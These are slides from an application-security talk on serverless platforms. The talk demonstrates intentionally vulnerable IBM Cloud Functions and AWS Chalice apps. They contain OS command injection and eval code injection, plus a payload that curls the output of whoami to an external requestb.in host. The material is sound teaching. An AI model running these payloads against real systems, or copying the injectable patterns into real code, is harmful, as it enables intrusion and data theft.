Not Your Server,

but still your code.

https://sprky.co/talks/
whoami

- Eight years in (dirt) mining operations
- Four years in AppSec specializations
- B.S. , OSCP, AWAE, GWAPT, General Assembly Data Science Bootcamp
The Point

- Serverless != Marketing Trend
- InfoSec 👍 & 👎
- Your bad code is still bad
  - broken-whisk
  - broken-chalice
- Code is the new literacy
Serverless Manifesto Summary

1. Functions as unit of deployment/scale
2. Devs shouldn't "see" the server/container/VM
3. Statelessness via offloaded storage
4. Scales per request
5. Never pay for idle
6. Metrics and logging are a universal right.

Serverless Manifesto: https://www.youtube.com/watch?v=yCOgc3MRUrs
Unreliable Cloud (VM) Provider

MySQL (master) → Replicate → MySQL (slave)

Insert Twitter Data

HoneyDB Web/API

API Client

Browser

HoneyPy

Old HoneyDB Architecture
Serverless Isn't...

- Only Marketing
- Lack of Servers
- BaaS
- PaaS
Serverless Is...

- Functions as a Service (FaaS)
- Opinionated Framework for Containers/Compute
- Vendor managed server stacks
- ServiceFULL
- Fundamental shift in security's value proposition
"History"

- 2012 Ken Fromm [1]
  - Then: It’s no longer “Why cloud?” or even “How cloud?”
  - Now: "Where cloud?"
- 2014 - 2015: 🛡️💰
- 2016: ServerlessConf
- 2017: JEFFConf


Serverless Primer: https://martinfowler.com/articles/serverless.html
It's damn cheap!
LASCON 2017

Hardware

VMs

Serverless

Waste

Value

Inspiration from @adrianco
"After a $30K invoice in September, our AWS bill for the month of December is projected to be less than $4,000."

https://read.acloud.guru/how-going-serverless-helped-us-reduce-costs-by-70-255adb87b093
"Last and probably most significantly, the free Readability API was costing the company roughly $10,000 per month..."

"....Serving 39 Million Requests for $370/Month"

Jevons Paradox
Still Your Code
Tool Obsolescence

- Firewalls
- IPS (Intrusion Prevention Systems)
- Legacy WAF
- RASP (Runtime Application Security Protection)
- SAST*
  - Limited effectiveness
THEN I SAID

USE AWS IAM ROLES
L.A. Times website injected with Monero cryptocurrency mining script

The cryptojacking attack appears to have persisted for weeks before being addressed, as it was configured to not max out CPU usage. Hackers injected it through an unsecured AWS S3 bucket.
Encryption Is Still Difficult

https://en.wikipedia.org/wiki/AACS_encryption_key_controversy
Vendor Managed
OS/Server Patching
Increase Specialization

- DAST (Dynamic Application Security Testing) +
- Manual Assessments (Power to the People) +
- Least Privilege IAM Policy +
- SCA (Software Composition Analysis) +

= 💪 Stack +
Function-level Monitoring/Logging
Saves

&

Increases Attacker Costs
Practical RBAC
This scale of duplication is common. It's why I say serverless (FaaS) is going to accelerate development by many orders of magnitude. Whenever you build a system, 99.9% of it has already been written. Finding it is the trick. Containers? Bah humbug. Just another sprawl engine.
Broken
Whisk
Shenanigans
“IBM Cloud Functions (based on Apache OpenWhisk) is a Function-as-a-Service (FaaS) platform which executes functions in response to incoming events and costs nothing when not in use.”
“Apache OpenWhisk is a serverless, open source cloud platform that executes functions in response to events at any scale."
IBM Cloud Functions

Create

**Create Action**
Actions contain your function code and are invoked by events or REST API calls.

**Create Sequence**
Sequences invoke Actions in a linear order, passing parameters from one to the next.

**Create Trigger**
Triggers receive events from outside IBM Cloud Functions and invoke all connected Actions.

**Deploy Template**
Templates are useful building blocks composed of a combination of Actions, Triggers, and Sequences to help you get started quickly with IBM Cloud Functions.
IBM Cloud Functions

- Actions and Web Actions
- Triggers
- Sequences
Serverless Backends
Exposé application logic by implementing serverless microservices. Simply map your functions to well-defined API endpoints any client can call by making use of Web Actions or our latest API Gateway integration.

Check Out a Sample App

Cognitive Data Processing
Analyze data as soon as it becomes available. Let your function make use of powerful cognitive services like IBM Watson to detect objects or people appearing in images or videos.

Scheduled Tasks
Execute your functions periodically. Define schedules following a cron-like syntax to specify when actions are supposed to be executed.
import sys
from os import popen

def main(dict):
    out = str(popen("whoami").read())
    return {"message": out}

# OUTPUT
{
    "message": "root\n"
}
import sys
from os import popen

def main(dict):
    address = dict["address"]
    out = str(popen("cat /etc/*-release").read())
    return {"message":out}

# OUTPUT
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debian
HOME_URL="http://www.debian.org/
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Findings...

- Already root
- No wget, curl, nc etc...
- Commodity/scripted attacks
- No apparent caching?
```python
import sys

from os import popen

def main(dict):
    #out = str(popen("echo test > test.txt && ls").read())
    out = str(popen("ls").read())
    return {"message":out}
```

Results

```json
{
  "message": "pythonrunner.py\n"
}
```

Logs

[]

Results

```json
{
  "message": "pythonrunner.py\ntest.txt\n"
}
```

Logs

[]
Chalice

- Python Serverless Microframework for AWS
  - A command line tool for creating, deploying, and managing your app
  - A familiar and easy to use API for declaring views in python code
  - Automatic IAM policy generation
Hello World

# $ pip install chalice
# $ chalice new-project helloworld
# $ cd helloworld
# $ cat app.py

from chalice import Chalice

app = Chalice(app_name="helloworld")

@app.route("/")
def index():
    return {"👋": "🌍"}

# $ chalice deploy
...
https://endpoint/dev

$ curl https://endpoint/api
{"👋": "🌍"}
BreakableFlask

- A simple vulnerable Flask application.
  - Python code injection
  - Operating System command injection
  - Python deserialization of arbitrary data (pickle)
  - XXE injection
def rp(command):
    return popen(command).read()

# os command injection
@app.route('/lookup', methods=['POST', 'GET'])
def lookup():
    address = None
    if request.method == 'POST':
        address = request.form['address']
    return ""
    <html>
    <body>""" + "Result:\n<br>\n" + (rp("nslookup " + address).replace(\'\n', '\n<br>') if address else "") + ""
    <form action="/lookup" method="POST">
        <p><h3>Enter address to lookup</h3></p>
        <p><input type='text' name='address'/></p>
        <p><input type='submit' value='Lookup'/></p>
    </form>
    """
</body>
"""
broken-chalice

- Low-effort vulnerable chalice app
- USE WITH CAUTION
- Take no responsibility for AWS repercussions
# Command Execution

```python
@app.route('/trial-balloon-art', methods=['POST'])
def getTrialBalloonArt():
    if request.method == 'POST':
        version = app.current_request.json_body['version']
        print(f"version equals: '{version}'")
        sigsciBalloon = "https://dl.signalsciences.net/trial-balloon/{}/art".format(version)
        out = rp("curl {}".format(sigsciBalloon))
        return out
```
POST /api/trial-balcony-art HTTP/1.1
Host: yk1kr711zc.execute-api.us-west-1.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0)
Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 19

{"version":"0.0.0"}
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 655
Connection: close
Date: Sat, 10 Mar 2018 21:57:23 GMT
x-amzn-Request-Id: 03373836-24ae-11e8-8d82-23a1358f4d87
X-Amzn-Trace-Id: sampled=0;root=1-5aa454c3-542bd18abef8e25ad920686b
X-Cache: Miss from cloudfront
Via: 1.1 05728a9ef853c2124dbff233419e2644.cloudfront.net (CloudFront)
X-Amz-Cf-Id: uJt2wSR_L399UMLNkT0sY9sPIHcCtXbvULcPjZhE5oGtT_OVeZzsw==

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Key>trial-balloon/0.0.9</Key><RequestId>3C7A032BE44A5F195</RequestId><HostId>pYY2tZxs0ceCS3iy9Q1/y5DvX69CG5jje0soCS3ynwPCqjfsP7bfGvYrqAAq8gZ9FCWJodZc=</HostId></Error>

File: `'/tmp/sprkyco.txt'`
Size: 9 Blocks: 8 IO Block: 4096
regular file
Device: 700h/1792d Inode: 12 Links: 1
Access: (0644/-rw-rw-r--) Uid: (488/sbx_user1059) Gid: (487/UNOWN)
Modify: 2018-03-10 21:57:23.932522174 +0000
Change: 2018-03-10 21:57:23.932522174 +0000
Birth: -
# Code Injection

```python
@app.route('/evaluate', methods=['POST', 'GET'], content_types=['application/json'])
def evaluate():
    expression = None
    if app.current_request.method == 'POST':
        expression = app.current_request.json_body['expression']
    return "Result:\n" + (str(eval(expression)))
```

POST /api/evaluate HTTP/1.1
Host: yiikr71lzc.execute-api.us-west-1.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0)
Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 32

{"expression": "str('scale16x')"}
`expression`: `__import__('os').system('var=`echo Hello_Scale16x` && curl -X POST -d ${var} https://requestb.in/1aom89z1')`
```python
expression = "__import__('os').system(
    'var=`whoami` 
    && curl 
    -X POST 
    -d ${var} 
    https://requestb.in/1aom89z1')"
```
Take Jeff Serverless Serious
No Such Thing as a Panacea
Learn to Dev
Security FUD
Renaissance
WELL THAT'S JUST LIKE
YOUR OPINION MAN
Special Thanks

- Martin Fowler
- DevSecOps
- Rugged DevOps
- Gauntlt
- A Cloud Guru
- DevOps Handbook & Phoenix Project etc.
- Simon Wardley
- Team Signal Sciences
- pursec.io
- serverlessconf
- Family
whoami

- @sprkyco
- cody@signalsciences.com
- https://github.com/sprkyco
- http://sprky.co
- https://www.linkedin.com/in/woodcody/